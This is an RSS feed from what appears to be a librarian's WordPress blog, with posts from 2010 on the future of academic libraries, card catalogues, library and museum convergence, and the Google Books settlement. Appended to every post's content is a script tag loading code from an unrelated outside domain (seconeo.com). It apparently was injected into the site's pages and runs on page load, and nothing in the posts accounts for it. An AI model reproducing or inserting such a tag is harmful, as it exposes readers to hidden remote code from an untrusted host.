<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Christine Madsen</title>
	<atom:link href="http://christinemadsen.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://christinemadsen.com</link>
	<description></description>
	<lastBuildDate>Fri, 13 Aug 2010 11:51:20 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Will libraries survive or thrive?</title>
		<link>http://christinemadsen.com/2010/will-libraries-survive-or-thrive/</link>
		<comments>http://christinemadsen.com/2010/will-libraries-survive-or-thrive/#comments</comments>
		<pubDate>Fri, 13 Aug 2010 11:51:20 +0000</pubDate>
		<dc:creator>christine</dc:creator>
				<category><![CDATA[*OIINEWS]]></category>
		<category><![CDATA[Libraries]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://christinemadsen.com/?p=160</guid>
		<description><![CDATA[Dan Greenstein did a particularly nice job at the recent &#8216;Survive or Thrive&#8217; conference of explaining the current relationship between academic libraries and their parent organizations (universities) and the impact of the current fiscal crisis on that relationship. I particularly appreciate that he focuses not on what we can do in libraries going forward, but [...]]]></description>
			<content:encoded><![CDATA[<p>Dan Greenstein did a particularly nice job at the recent <a href="http://www.surviveorthrive.org.uk/about/" target="_blank">&#8216;Survive or Thrive&#8217; conference</a> of explaining the current relationship between academic libraries and their parent organizations (universities) and the impact of the current fiscal crisis on that relationship.</p>
<p>I particularly appreciate that he focuses not on what we <em>can </em>do in libraries going forward, but what we <em>ought </em>to be doing. One of the things he points out is that most libraries spend most of their budget on their general holdings (that is, the things that are not unique). He argues that we should be spending our time/efforts/budget on those things that make us unique.</p>
<p>He emphasized that libraries needs to move quickly&#8211;and as a community&#8211;to develop services.</p>
<p>Yes, it&#8217;s long (45 minutes) but worth it.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="225" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=12635699&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=&amp;fullscreen=1&amp;autoplay=0&amp;loop=0" /><embed type="application/x-shockwave-flash" width="400" height="225" src="http://vimeo.com/moogaloop.swf?clip_id=12635699&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=1&amp;color=&amp;fullscreen=1&amp;autoplay=0&amp;loop=0" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><a href="http://vimeo.com/12635699">[talk] Dan Greenstein at Survive or Thrive conference</a> from <a href="http://vimeo.com/ukoln">UKOLN</a> on <a href="http://vimeo.com">Vimeo</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://christinemadsen.com/2010/will-libraries-survive-or-thrive/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10 principles for good technology</title>
		<link>http://christinemadsen.com/2010/10-principles-for-good-technology/</link>
		<comments>http://christinemadsen.com/2010/10-principles-for-good-technology/#comments</comments>
		<pubDate>Wed, 26 May 2010 16:28:30 +0000</pubDate>
		<dc:creator>christine</dc:creator>
				<category><![CDATA[*OIINEWS]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[theory]]></category>

		<guid isPermaLink="false">http://christinemadsen.com/?p=145</guid>
		<description><![CDATA[In the 1980&#8242;s, Deiter Rams wrote the &#8220;ten principles for good design&#8221; (sometimes referred to as the &#8220;ten commandments of good design&#8221;). The principles came from a time of self-reflection when he and others in the design world were a bit concerned by the state of the world – “an impenetrable confusion of forms, colours [...]]]></description>
			<content:encoded><![CDATA[<p>In the 1980&#8242;s, Deiter Rams wrote the &#8220;<a href="http://www.vitsoe.com/en/gb/about/dieterrams/gooddesign" target="_blank">ten principles for good design</a>&#8221; (sometimes referred to as the &#8220;ten commandments of good design&#8221;).</p>
<p>The principles came from a time of self-reflection when he and others in the design world were a bit concerned by the state of the world – “an impenetrable confusion of forms, colours and  noises.”</p>
<ol>
<li>Good design is innovative</li>
<li>Good design makes a product useful</li>
<li>Good design is aesthetic</li>
<li>Good design makes a product understandable</li>
<li>Good design is unobtrusive</li>
<li>Good design is honest</li>
<li>Good design is long-lasting</li>
<li>Good design is thorough, down to the last detail</li>
<li>Good design in environmentally friendly</li>
<li>Good design is as little design as possible</li>
</ol>
<p>Sometimes these days I feel about about technology (educational technologies in particular) the way Rams was feeling about design. To be honest, most days the web feels to me like &#8220;an impenetrable confusion of forms, colours and  noises.” So what if we borrow Rams principles and apply them to technology? I think they fit pretty well. I think there are some powerful ideas in looking at technology this way  and I could probably go on and on about each of these (I particularly like 10) .. but for now I will just leave you to think about this:</p>
<ol>
<li>Good technology is innovative</li>
<li>Good technology makes a product useful</li>
<li>Good technology is aesthetic</li>
<li>Good technology makes a product understandable</li>
<li>Good technology is unobtrusive</li>
<li>Good technology is honest</li>
<li>Good technology is long-lasting</li>
<li>Good technology is thorough, down to the last detail</li>
<li>Good technology in environmentally friendly</li>
<li>Good technology is as little technology as possible</li>
</ol>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://christinemadsen.com/2010/10-principles-for-good-technology/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>In the Wrong Business: A New Theory of Academic Libraries</title>
		<link>http://christinemadsen.com/2010/in-the-wrong-business-a-new-theory-of-academic-libraries/</link>
		<comments>http://christinemadsen.com/2010/in-the-wrong-business-a-new-theory-of-academic-libraries/#comments</comments>
		<pubDate>Tue, 25 May 2010 17:42:33 +0000</pubDate>
		<dc:creator>christine</dc:creator>
				<category><![CDATA[Libraries]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://christinemadsen.com/?p=130</guid>
		<description><![CDATA[Our academic libraries have been in the wrong business for about one hundred and fifty years. It was in the mid to late nineteenth century that they began to be characterized as storehouses or warehouses of information and I would argue that this information-centered model is a mistake. Before then they were not stand-alone collections [...]]]></description>
			<content:encoded><![CDATA[<p>Our academic libraries have been in the wrong business for about one hundred and fifty years. It was in the mid to late nineteenth century that they began to be characterized as storehouses or warehouses of information and I would argue that this information-centered model is a mistake. Before then they were not stand-alone collections of books, but great complexes of mental and physical activity, including museums, gymnasiums, and baths. The goal of the library was to support the great scholars of the day by providing them access to the most important sources of information, <strong>but also</strong> to everything else that was needed to turn that information into new knowledge, including a space for discourse and debate. I am not arguing that we should put baths or gymnasiums back in our libraries, simply that we need to completely re-think both what it is that libraries do and why they do it.*</p>
<p><strong>The problem with information</strong></p>
<blockquote><p>Information about many things does not teach understanding<br />
(<a href="http://books.google.com/books?id=GCKqZkyzFO0C&amp;lpg=RA1-PA123&amp;dq=Nussbaum%20Heraclitus%20information%20about%20many%20things%20does%20not%20teach%20understanding&amp;pg=RA1-PA123#v=onepage&amp;q&amp;f=false" target="_blank">Heraclitus (B40), in Nussbaum, 1986</a>).</p></blockquote>
<p>The struggle of the academic library to stay relevant today is due to this switch from a scholar-centered model to an information-centered one. And the imminent collapse of this latter model is causing tension not only across academic libraries and the field of library science, but across academia as a whole.</p>
<p>Prior to the Victorian Era most academic libraries were what <a href="http://www.amazon.com/exec/obidos/tg/detail/-/0393325644" target="_blank">Matthew Battles</a> might characterize as “Parnassan” – small, well focused institutions where what mattered was not the quantity of the collections, but the quality. Then our system of universities exploded and at the same time the cost of printing went down. Libraries began to put collecting at the top of their priorities. The result was that libraries changed from small, focused institutions that fostered the whole of the life cycle of scholarship, to what <a href="http://home.uchicago.edu/~aabbott/Papers/aaup.pdf" target="_blank">Andrew Abbott’s describes</a> (pdf) as a “universal identification, location, and access machine.” And where the Internet has made it possible to finally fulfill the idea of our university library as “universal library” (again, to use one of Battles’ terms), our academic libraries have failed. In just a few short years, Google has come much closer to the creation of a universal library than our libraries have.</p>
<p>The problem is, of course, that we have spent nearly one hundred and fifty years crafting this idea that our academic libraries are centers for information retrieval.  Only one <a href="http://www.ala.org/ala/educationcareers/education/accreditedprograms/directory/list/index.cfm" target="_blank">ALA-accredited</a> graduate program has maintained the title “Library Science;” thirty have changed to “library and information science;” four put information first, but retain library, “information and library science;” and seventeen have dropped the library all together and are simply schools of “information science” or “information studies.”  Similar trends can be seen in the UK, where most recently the program at the University College London has changed from the department of “information and library science” to the a department of “information studies.” We don&#8217;t even produce librarians anymore, we produce information scientists.</p>
<p>So what we have now is a “tension of consciousness,” (see Berger and Luckmann, 1967, p. 21). We are at a point of awareness of the simultaneous existence of multiple realities. Having put all of our eggs into the “information basket” has failed us and it feels a bit late to turn back now. But the Internet has completely changed our relationship to information and as a result, the model of library as information center is going to collapse.</p>
<p><strong>A New Theory of Libraries</strong></p>
<p>So I would argue that it is time for a new theory of libraries (well past time, in fact). The user (the scholar) must be put back in the center of the academic research library again, but the users’ needs must be considered within the broader context of the process of scholarship. In focusing on information, academic research libraries have in part been trying to address what users want, not what they need. As Ranganathan** stated, “[t]he majority of readers do not know their requirements,” and I would argue that it has long been the role of library and librarian to help them understand them.***</p>
<p>The goal of any new theory of library must of course accommodate the increasing needs in research and scholarship for large quantities of information, but should not preface quantity of information over all else. As important as the information itself, is providing and supporting an environment that allows for the transformation of that information into new knowledge.</p>
<p>What has been forgotten, for example, is that libraries were, and should be again, inherently social places. That these are spaces not just for getting access to resources, but to people—librarians, archivists, other scholars—with whom discourse can be entered about the resources therein. An academic research library should <em>first</em> be seen as a collection of services that support the creation of new knowledge. From this perspective, the library is not defined by its walls or by its collections, but by those very services. The goal of a library is not then, to provide access to information, it is to provide a space, whether literal or virtual, for the support of all aspects of the scholarship process, and information provision is just one of these services. The information commons, gateway, or storehouse should not be the goal or the fate of the academic research library.</p>
<p>The library is a combination of tangible and intangible elements. Library is collection (of the tangible or the intangible) plus organization system, plus scholarship, but it is also the intangible environment that contributes to all three. There is no library, for example, without a culture of inquiry. Everything that is done in the library (entering, lingering, reflecting) and everything the library holds (collections of objects, living things, knowledge, information, contexts, lessons, memories), when bound together by a systematic, continuous, organized knowledge structure supports <em>the act</em> of new knowledge creation also known as scholarship. The result of the resources invested in the library, therefore, is not measured in the size of the collection, or even in the number or satisfaction of users, but in their experiences.****</p>
<p>* I applaud the efforts at <a href="http://harvardmagazine.com/2010/05/gutenberg-2-0" target="_blank">Harvard to rethink their library system</a>, but everything I have seen points to them sticking to an information-centric model.</p>
<p>** I realize it is a bit of a cliche to quote Ranganathan, but I think he is largely misunderstood because few people ever read more than his five laws (and I don’t mean the book, but literally the five laws themselves. The evidence lies in the fact that the book has been out of print outside of India for many years.) The real jewels of Ranganathan lay in his deep understanding of the roles and responsibilities of the library, which he summarizes—as any good marketer might—in his five laws.</p>
<p>*** The danger here, of course, is in libraries and librarians taking a lofty ‘we know your needs better than you’ approach. There needs to be a give and take in this process, obviously.</p>
<p>**** Many of these ideas and the language used to express them are based on the work of David Carr. See especially <a href="http://books.google.com/books?id=4ASW5tmQpKoC&amp;lpg=PP1&amp;ots=FNcaRe3u8l&amp;dq=carr%20promise%20of%20cultural%20institutions&amp;pg=PR15#v=onepage&amp;q&amp;f=false">The Promise of Cultural Institutions</a> (2003).<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://christinemadsen.com/2010/in-the-wrong-business-a-new-theory-of-academic-libraries/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>When one door closes&#8230;</title>
		<link>http://christinemadsen.com/2010/when-one-door-closes/</link>
		<comments>http://christinemadsen.com/2010/when-one-door-closes/#comments</comments>
		<pubDate>Sun, 21 Mar 2010 08:35:13 +0000</pubDate>
		<dc:creator>christine</dc:creator>
				<category><![CDATA[*OIINEWS]]></category>
		<category><![CDATA[Libraries]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://christinemadsen.com/?p=123</guid>
		<description><![CDATA[Last week as the New York Public Library opened a new branch in Battery Park, Council Member Jimmy Van Bramer said, Any day we open a library is a good day. Meanwhile, Boston announced the closure of perhaps as many as 10 of its 26 branch libraries and Los Angeles announced huge budget cuts that [...]]]></description>
			<content:encoded><![CDATA[<p>Last week as the New York Public Library <a href="http://www.downtownexpress.com/de_360/toopopular.html" target="_blank">opened a new branch</a> <span><span>in Battery Park, Council Member  Jimmy Van Bramer said, </span></span></p>
<blockquote><p><span><span>Any day we open a library is a good day.</span></span></p></blockquote>
<p><span><span>Meanwhile, Boston announced the <a href="http://americanlibrariesmagazine.org/news/03162010/bostonians-deplore-%E2%80%9Cdownloadables%E2%80%9D-branch-substitutes" target="_blank">closure of perhaps as many as 10 of its 26 branch libraries</a> and Los Angeles announced huge budget cuts that will likely mean similar closures. </span></span></p>
<p><span><span>As someone who spends more time thinking about academic libraries than public ones I am interested in the language used on both sides of the debate to characterize libraries. And while I am saddened by the potential closure of so many libraries (mostly because I think once you close a library you are never really likely to get it back&#8230;despite the new NYPL branch), I am almost more saddened at the language used in the<a href="http://americanlibrariesmagazine.org/news/03162010/bostonians-deplore-%E2%80%9Cdownloadables%E2%80%9D-branch-substitutes" target="_blank"> American Libraries article</a> to describe libraries. </span></span></p>
<p><span><span>&#8220;</span></span>Libraries are about books and librarians,&#8221; said one of the Boston residents protesting the closures. And BPL&#8217;s president Amy Ryan called librarians “information navigators” and said, “we can’t take a car designed in the  1970s onto today’s information superhighway.”</p>
<p>I think they are both wrong. If you <a href="http://www.facebook.com/photo.php?pid=3745215&amp;id=21557622350#!/album.php?aid=163382&amp;id=21557622350" target="_blank">look at the opening of the NYPL branch</a> it seems to me that the most important thing in public libraries are the people who go into them. As much as I hate to say this (being both a fan of books and a librarian), we can&#8217;t build or sustain libraries for books, information, or librarians, we have to build them for people and communities.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://christinemadsen.com/2010/when-one-door-closes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>On Browsing</title>
		<link>http://christinemadsen.com/2010/on-browsing/</link>
		<comments>http://christinemadsen.com/2010/on-browsing/#comments</comments>
		<pubDate>Wed, 17 Mar 2010 12:52:31 +0000</pubDate>
		<dc:creator>christine</dc:creator>
				<category><![CDATA[*OIINEWS]]></category>
		<category><![CDATA[Libraries]]></category>
		<category><![CDATA[Metadata]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://christinemadsen.com/?p=118</guid>
		<description><![CDATA[The University of Michigan recently announced that it was finally getting rid of its card catalogue. This elicited many a  response from librarians on some of the listservs I monitor who were sad to see it go. Most of the responses were emotional, revealing warm and fuzzy affection for the old system; but it led [...]]]></description>
			<content:encoded><![CDATA[<p>The University of Michigan recently announced that it was <a href="http://www.annarbor.com/news/university-of-michigan-library-to-bid-farewell-to-card-catalogs/" target="_blank">finally getting rid of its card catalogue</a>. This elicited many a  response from librarians on some of the listservs I monitor who were sad to see it go. Most of the responses were emotional, revealing warm and fuzzy affection for the old system; but it led me to wonder what we are actually losing when we replaced cards with OPACs&#8230; and I think it has to do with browsing. The card system facilitated a type of browsing that we have not yet achieved online. It nicely complemented shelf browsing, but was not a substitute or virtual replacement for shelf browsing. Upon approaching a card catalogue you got an immediate sense of the scope of the collection and browsing within the cards did the same within sub-units of the collection.</p>
<p>At the risk of sounding too much like a change-fearing librarian myself, I am not saying that we can&#8217;t do this with online catalogues, just that we haven&#8217;t &#8212; and we certainly haven&#8217;t in libraries (that I know of&#8230;I would love to be proved wrong on this).  Monica Bulger has a nice post on<a href="http://monicabulger.com/2010/02/affinity-search/"> affinity-based browsing</a> (and <a href="http://monicabulger.com/2010/03/affinity-based-browsing-follow-up/">a follow up</a>) and I would love to see an application of what she is talking about in an academic setting. It is still search-based (that is, it starts with a search) but could be an interesting way of providing new types of browsing in libraries.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://christinemadsen.com/2010/on-browsing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Matter of Audience</title>
		<link>http://christinemadsen.com/2010/a-matter-of-audience/</link>
		<comments>http://christinemadsen.com/2010/a-matter-of-audience/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 17:05:02 +0000</pubDate>
		<dc:creator>christine</dc:creator>
				<category><![CDATA[*OIINEWS]]></category>
		<category><![CDATA[Digitization Projects]]></category>
		<category><![CDATA[Libraries]]></category>

		<guid isPermaLink="false">http://christinemadsen.com/?p=114</guid>
		<description><![CDATA[I just came from a meeting with the creators of the Virtual Museum of the Gulag. They were very interested in how the question of intended audience changes the kind of digital project you create. I shared my experiences with the Open Collections Program and how we initially designed the collections versus how they are [...]]]></description>
			<content:encoded><![CDATA[<p>I just came from a meeting with the creators of the <a href="http://gulagmuseum.org" target="_blank">Virtual Museum of the Gulag</a>. They were very interested in how the question of intended audience changes the kind of digital project you create. I shared my experiences with the <a href="http://ocp.hul.harvard.edu" target="_blank">Open Collections Program</a> and how we initially designed the collections versus how they are designed now (for a different audience).</p>
<p>Coincidentally, my friend, Megan Hurst just released the latest issue of her journal, <a href="http://www.glimpsejournal.com" target="_self">Glimpse</a>, and it has a great article on the modification of Google Earth and Google Maps into Google Moon and Google Mars and how it is used by both scientists and the general public. The author, Dr. Ross A. Beyer says:</p>
<blockquote><p>Although the primary audience for the Moon and Mars in Google Earth is the general public, we&#8217;ve added enough information to make this tool useful for scientists and engineers as well. I can&#8217;t overstate how useful it is to be able to communicate via a shared, dynamic, interactive map.</p></blockquote>
<p>You can read the whole article <a href="http://issuu.com/glimpse_journal/docs/glimpsejournal.com-vol2.4-cosmos-issuu.pdf/38" target="_self">here</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://christinemadsen.com/2010/a-matter-of-audience/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Library, Archive, and Museum Convergence</title>
		<link>http://christinemadsen.com/2010/library-archive-and-museum-convergence/</link>
		<comments>http://christinemadsen.com/2010/library-archive-and-museum-convergence/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 12:37:33 +0000</pubDate>
		<dc:creator>christine</dc:creator>
				<category><![CDATA[*OIINEWS]]></category>
		<category><![CDATA[Libraries]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://christinemadsen.com/?p=109</guid>
		<description><![CDATA[There is a lot of discussion these days about the convergence of libraries, archives, and museums.The Center for the Future of Museums had a recent guest post on this topic, also introducing the IMLS-funded wiki on the same theme. The University of Calgary has actually merged its libraries and museums into what they are calling [...]]]></description>
			<content:encoded><![CDATA[<p>There is a lot of discussion these days about the convergence of libraries, archives, and museums.The Center for the Future of Museums had a <a href="http://futureofmuseums.blogspot.com/2010/03/one-potential-future-for-museums.html" target="_blank">recent guest post</a> on this topic, also introducing the<a href="http://imlsupnext.wikispaces.com/" target="_blank"> IMLS-funded wiki on the same theme</a>. The University of Calgary has actually merged its libraries and museums into what they are calling their<a href="http://lcr.ucalgary.ca/" target="_blank"> Library and Cultural Resources</a>, which also interestingly contains their university press.</p>
<p>This is all inevitable, I think, but it is really important to realize that this is not a convergence, but a re-convergence. If you look back far enough there was no difference between libraries and museums&#8230; or publishers for that matter. These were spaces for scholarship, regardless of the objects they held. And they were usually run by philosophers who spent much of their time assembling new editions and collected works (i.e., publishing).</p>
<p>It is easy to get caught in the newness of all of this and the result is that people get lost in the details (eg., what would an integrated search of library and museum catalogues look like?), or in why the convergence is happening now. Perhaps there is some value in looking at why these institutions separated in the first place? And the most important thing is to figure out what these institutions are converging around. (Hint: it isn&#8217;t technology, or services, or metadata, or economic sustainability, or even physical spaces&#8230;it is the thing that all of these elements purport to serve.)<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://christinemadsen.com/2010/library-archive-and-museum-convergence/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Books are going, but are libraries still places to read?</title>
		<link>http://christinemadsen.com/2010/books-are-going-but-are-libraries-still-places-to-read/</link>
		<comments>http://christinemadsen.com/2010/books-are-going-but-are-libraries-still-places-to-read/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 13:50:34 +0000</pubDate>
		<dc:creator>christine</dc:creator>
				<category><![CDATA[*OIINEWS]]></category>
		<category><![CDATA[Libraries]]></category>
		<category><![CDATA[books]]></category>

		<guid isPermaLink="false">http://christinemadsen.com/?p=106</guid>
		<description><![CDATA[After a piece in the New York Times about a school library trading in its books for a &#8220;digital center,&#8221; they gathered up some of the responses from students. Some were (for me anyway) quite heartening. I was happy to see that students have thought about the usability of digital textbooks, the difference between reading [...]]]></description>
			<content:encoded><![CDATA[<p>After a piece in the <a href="http://roomfordebate.blogs.nytimes.com/2010/02/10/do-school-libraries-need-books/" target="_blank">New York Times about a school library trading in its books for a &#8220;digital center</a>,&#8221; they <a href="http://roomfordebate.blogs.nytimes.com/2010/02/14/the-library-through-students-eyes/" target="_blank">gathered up some of the responses</a> from students. Some were (for me anyway) quite heartening. I was happy to see that students have thought about the usability of digital textbooks, the difference between reading online and in print, and the different and nuanced purposes that libraries do and might serve. On one of my more critical days I might say they have thought about it more than many librarians.</p>
<blockquote><p>The library is a place. A learning place. The Kindle, Nook, or iPad won’t change the library as long as things are learned.</p></blockquote>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://christinemadsen.com/2010/books-are-going-but-are-libraries-still-places-to-read/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Latest on the Google Book Search Settlement</title>
		<link>http://christinemadsen.com/2010/latest-on-the-google-book-search-settlement/</link>
		<comments>http://christinemadsen.com/2010/latest-on-the-google-book-search-settlement/#comments</comments>
		<pubDate>Wed, 03 Feb 2010 10:46:09 +0000</pubDate>
		<dc:creator>christine</dc:creator>
				<category><![CDATA[*OIINEWS]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Copyright]]></category>
		<category><![CDATA[Google Books]]></category>

		<guid isPermaLink="false">http://christinemadsen.com/?p=100</guid>
		<description><![CDATA[I was in the midst of writing this on Lessig&#8217;s recent article on the Google Book Search Settlement when I received the latest &#8220;Wired Campus&#8221; email from the Chronicle. Oh, the irony. The top 2 news stories were about Stanford expanding their deal with Google and approving the latest version of the settlement; and about [...]]]></description>
			<content:encoded><![CDATA[<p>I was in the midst of writing this on Lessig&#8217;s recent article on the Google Book Search Settlement when I received the latest &#8220;Wired Campus&#8221; email from the Chronicle. Oh, the irony. The top 2 news stories were about <a href="http://chronicle.com/blogPost/Stanford-U-Expands-Deal-With/21018/?sid=wc&amp;utm_source=wc&amp;utm_medium=en" target="_blank">Stanford expanding their deal with Google and approving the latest version of the settlement</a>; and about <a href="http://chronicle.com/blogPost/University-Pulls-Videos-From/21013/?sid=wc&amp;utm_source=wc&amp;utm_medium=en">UCLA pulling some videos from their course site after being accused of copyright infringement because of some video clips</a>.</p>
<p>Why is this ironic? Well, because in his recent piece in the New Republic about <a href="http://www.tnr.com/article/the-love-culture" target="_blank">implications of the Google Books Search Settlement</a>, Lessig worries that this debacle of not being able to quote snippets of video is where we are headed with texts. It is a long piece, but much of his argument can be summed up:</p>
<blockquote><p>The deal constructs a world in which control can be exercised at the level of a page, and maybe even a quote. It is a world in which every bit, every published word, could be licensed. It is the opposite of the old slogan about nuclear power: every bit gets metered, because metering is so cheap. We begin to sell access to knowledge the way we sell access to a movie theater, or a candy store, or a baseball stadium. We create not digital libraries, but digital bookstores: a Barnes &amp; Noble without the Starbucks.</p></blockquote>
<p>Clearly the folks at the Chronicle didn&#8217;t read Lessig&#8217;s article.. or maybe they did&#8230;<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://christinemadsen.com/2010/latest-on-the-google-book-search-settlement/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Paradox of the Week? Planning for Informal Learning</title>
		<link>http://christinemadsen.com/2010/paradox-of-the-week-planning-for-informal-learning/</link>
		<comments>http://christinemadsen.com/2010/paradox-of-the-week-planning-for-informal-learning/#comments</comments>
		<pubDate>Tue, 26 Jan 2010 14:25:28 +0000</pubDate>
		<dc:creator>christine</dc:creator>
				<category><![CDATA[*OIINEWS]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://christinemadsen.com/?p=95</guid>
		<description><![CDATA[Discussions about &#8216;informal learning&#8217; seem to be growing. I am interested because libraries and museums have always been really important spaces for informal and unstructured learning. I think it is important to study and understand how it works, and why informal learning is good. But can you actually plan for information leaning? At some point [...]]]></description>
			<content:encoded><![CDATA[<p>Discussions about &#8216;informal learning&#8217; seem to be growing. I am interested because libraries and museums have always been really important spaces for informal and unstructured learning.</p>
<p>I think it is important <a href="http://www.ed4wb.org/?p=369" target="_blank">to study and understand how it works, and why informal learning is good</a>. But can you actually plan for information leaning? At some point if you are planning for it, doesn&#8217;t it in fact cease to be informal?<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://christinemadsen.com/2010/paradox-of-the-week-planning-for-informal-learning/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
